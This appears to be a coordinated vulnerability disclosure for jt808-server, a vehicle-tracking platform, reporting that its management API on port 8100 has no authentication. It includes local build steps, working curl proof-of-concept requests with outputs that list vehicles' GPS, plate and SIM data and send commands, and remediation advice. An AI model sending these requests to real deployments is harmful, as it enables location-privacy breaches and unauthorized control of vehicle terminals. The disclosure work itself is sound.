- Affected product: https://github.com/yezhihao/jt808-server
- Audited version: master commit
a07f68c466b560b97ef41edb8a4966469abdf83e(2026-07-23), no formal releases - Vulnerability class: CWE-306 Missing Authentication for Critical Function
- Severity: Critical — CVSS v3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Vendor notification: notified via GitHub Private Vulnerability Reporting on 2026-10-10 (coordinated disclosure)
- Tested on: locally built instance only; no third-party deployment was accessed or affected
jt808-server is a widely used open-source implementation of the JT/T 808 telematics standard (vehicle tracking/monitoring platforms). The shipped web management API (default port 8100) has no authentication at all:
pom.xmlincludes no auth framework (no spring-security/shiro/jwt)WebMvcConfig.addInterceptors()is empty — no auth interceptor- All 30+ command endpoints under
/device/carry no authorization checks - CORS is configured as
AllowedOriginPattern("*")+setAllowCredentials(true)
Consequences for any host able to reach port 8100:
- Enumerate every online terminal with SIM number, license plate and live GPS telemetry (
GET /device/all) - Send arbitrary JT808 commands to any terminal (30+ endpoints:
8500vehicle control,8105terminal control/reset,8108firmware upgrade push,8801camera snapshot,8300text message, etc.) - Deliver arbitrary raw protocol frames to any terminal (
POST /device/raw, no allow-list) - Reach the protocol parser unauthenticated (
GET /message/explain), read full API docs (/v3/api-docs,doc.html), and change server log level (GET /logger)
Requirements: JDK 17+, Maven, git.
git clone https://github.com/yezhihao/jt808-server.git && cd jt808-server
mvn -DskipTests package # root pom sets maven.test.skip=true
mvn test-compile -Dmaven.test.skip=false # override to build the bundled test terminal
mvn -q -pl jtt808-server dependency:build-classpath -Dmdep.outputFile=/tmp/cp.txt
# Terminal 1 — start the server (web :8100, JT808 TCP :7100)
java -jar jtt808-server/target/jtt808-server-1.0.0-SNAPSHOT.jar
# Terminal 2 — start the bundled test terminal (simulates one online vehicle)
CP="jtt808-server/target/test-classes:jtt808-server/target/classes:commons/target/classes:jtt808-protocol/target/classes:$(cat /tmp/cp.txt)"
java -cp "$CP" org.yzh.client.ClientTest
# registers clientId=10000000001 and reports GPS every 3 seconds$ curl -s http://127.0.0.1:8100/device/all
HTTP 200:
[{"remoteAddressStr":"/127.0.0.1:50225","attributes":{"Device":{
"deviceId":"T000001","mobileNo":"10000000001","plateNo":"测A00001",
"location":{"latitude":39915931,"longitude":116403829,"altitude":312,
"speed":111,"deviceTime":"2026-10-10 16:05:18",...}}}}]$ curl -s -X POST http://127.0.0.1:8100/device/8300 \
-H "Content-Type: application/json" \
-d '{"clientId":"10000000001","sign":4,"type":1,"content":"CNVD-PoC unauthorized command"}'
{"messageId":1,...,"responseSerialNo":3,"responseMessageId":33536,
"resultCode":0,"success":true,...}The test terminal's log proves the command arrived on the JT808 channel, was decoded, and its acknowledgment was returned to the unauthenticated caller:
<<<<<-T8300(sign=4, type=1, content=CNVD-PoC unauthorized command)
>>>>>-T0001(resultCode=0)
An attacker with network access to the management port obtains fleet-wide command authority over every connected vehicle terminal: mass location-privacy disclosure, terminal reset/reflashing via 0x8108 (firmware delivery path), and unauthorized control of vehicle functions exposed through 0x8500/0x8105.
- Add authentication/authorization for the whole web layer (e.g. Spring Security or Sa-Token) with a default-deny interceptor covering
/device/**,/sse/**,/message/**,/logger - Bind the management port (8100) to
127.0.0.1by default; external exposure requires explicit configuration - Tighten CORS: remove
AllowedOriginPattern("*") + AllowCredentials(true), use an origin allow-list - Disable Swagger (springdoc) in production profiles
- Remove default FTP credentials (
t9206: test/test) — require configuration at startup - Optional: audit logging + confirmation flow for high-impact commands (8108/8500/8105)
Reported to the maintainer via GitHub Private Vulnerability Reporting on 2026-10-10. This gist is provided to the CVE numbering process for verification and is not publicly listed. No weaponized exploit is included.
Evidence 1: Unauthenticated enumeration of all online terminals (including GPS, license plate, and mobile phone number)

curl -s http://127.0.0.1:8100/device/all
Expected result: HTTP 200, returning a JSON array containing mobileNo, plateNo, latitude, and longitude.
Evidence 2: Unauthenticated command issuance to a terminal
curl -s -X POST http://127.0.0.1:8100/device/8300
-H "Content-Type: application/json"
-d '{"clientId":"10000000001","sign":4,"type":1,"content":"CNVD-PoC unauthorized command"}'
Expected result: returns {"resultCode":0,"success":true,...} — this is the response from the terminal.